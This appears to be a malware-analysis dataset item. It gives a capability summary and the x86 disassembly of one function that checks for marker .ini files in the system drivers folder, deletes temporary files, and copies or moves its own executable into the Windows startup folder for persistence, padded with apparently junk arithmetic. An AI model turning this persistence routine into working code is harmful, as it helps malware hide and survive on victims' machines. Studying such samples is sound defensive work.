Function at 0x40b300
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov ecx, dword [0x456820]
mov dword [esp + 0x300], eax
mov eax, 0x7f3171f
imul ecx
imul ecx, ecx, 0x360833b
mov eax, dword [0x456830]
sar edx, 0x15
imul eax, eax, 0x22d753a
push esi
mov esi, dword [0x45681c]
push edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x5305094
add edi, eax
add edi, edx
mov eax, 0x936c7f27
imul esi
add edx, esi
mov esi, dword [0x456818]
sar edx, 0x17
imul esi, esi, 0x3422234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x456834]
mov eax, 0x7f3171f
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456828]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53d1950
sub esi, eax
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45682c], edi
mov dword [0x456834], esi
call fcn.0042a6dd
add esp, 8
cmp eax, 0xffffffff
je 0x40b7d3
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a6dd
add esp, 8
cmp eax, 0xffffffff
je 0x40b7d3
mov ecx, dword [0x456820]
mov eax, 0x3ac7f767
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x17
imul ecx, ecx, 0x5305094
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x456834]
mov eax, 0x62ace781
imul ecx
sar edx, 0x19
mov edi, edx
add esi, edx
mov eax, 0x936c7f27
imul ecx
add edx, ecx
mov ecx, dword [0x456830]
sar edx, 0x17
imul ecx, ecx, 0x360833b
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
push 0x104
lea edx, [esp + 0x20c]
sub edi, eax
push edx
sub edi, ecx
push 0
mov dword [0x456818], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x208]
push 0x5c
push eax
call fcn.0042b150
push str..tmp
lea ecx, [esp + 0x214]
push ecx
lea edx, [esp + 0x18]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042a341
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x7f3171f
imul edi, edi, 0x4067eec
imul ecx
mov ecx, dword [0x456818]
imul ecx, ecx, 0xde454f
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x456820]
mov eax, 0x31a5bd5f
imul ecx
mov ecx, dword [0x456834]
sar edx, 0x17
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
sub edi, ecx
push 0x18
lea ecx, [esp + 0x110]
push ecx
sub edi, 0x5305094
push 0
mov dword [0x456820], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x108]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b530
push ebx
sub eax, ecx
push esi
lea edx, [esp + eax + 0x110]
push 0x4471a8
push edx
call fcn.0042a341
mov esi, dword [0x456838]
mov eax, 0x94723637
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x63510a67
imul esi
imul esi, esi, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
imul edx, edx, 0x3422234
sub ecx, eax
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub ecx, esi
mov esi, dword [0x456824]
add ecx, edx
mov eax, 0x61bc1a5d
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x456828], ecx
xor edi, edi
jmp 0x40b5d0
mov ecx, dword [0x456828]
mov esi, dword [0x456824]
lea esp, [esp]
mov edx, dword [0x45682c]
imul ecx, ecx, 0x22d753a
imul esi, esi, 0xdef222
imul edx, edx, 0x5305094
sub ecx, esi
sub ecx, edx
mov eax, 0x31a5bd5f
imul dword [0x45681c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x456830], ecx
lea ecx, [esp + 0xc]
push 0
push ecx
call fcn.0042a6dd
add esp, 8
cmp eax, 0xffffffff
je 0x40b62a
lea edx, [esp + 0xc]
push edx
call ebx
inc edi
cmp edi, 0x64
jl 0x40b5bd
mov esi, dword [0x456834]
mov ecx, dword [0x456820]
imul esi, esi, 0xfacfaf6c
mov eax, 0x3ac7f767
imul ecx, ecx, 0x2a93aa6
imul dword [str._r_____r____]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45682c]
mov eax, 0x13a45601
imul ecx
sar edx, 0x16
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [esp + 0x314]
test esi, esi
mov dword [0x456838], ecx
je 0x40b68e
cmp esi, 2
jne 0x40b746
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0x14]
push eax
call edi
test eax, eax
jne 0x40b740
mov ecx, dword [0x456824]
mov esi, dword [0x456838]
mov eax, 0x7f3171f
imul esi, esi, 0x372f5c1
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub esi, eax
add esi, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
mov ebx, edx
add esi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x110]
add ebx, esi
push ecx
lea edx, [esp + 0x14]
sub ebx, eax
push edx
mov dword [str._r_____r____], ebx
call edi
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a171
add esp, 0x304
ret
mov ecx, dword [0x456838]
mov edi, dword [0x456830]
mov edx, dword [0x45681c]
imul edi, edi, 0x293deaa
mov eax, ecx
imul eax, eax, 0x372f5c1
sub edi, eax
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add edi, edx
mov ebx, edx
mov eax, 0x61bc1a5d
imul ecx
shr ebx, 0x1f
sar edx, 0x19
add ebx, edi
mov edi, dword [str._r_____r____]
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
sub ecx, edi
add ecx, 0x294039f
cmp esi, 1
mov dword [0x45681c], ecx
je 0x40b7a6
cmp esi, 2
jne 0x40b7bb
push 0
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a171
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0042a171
add esp, 0x304
ret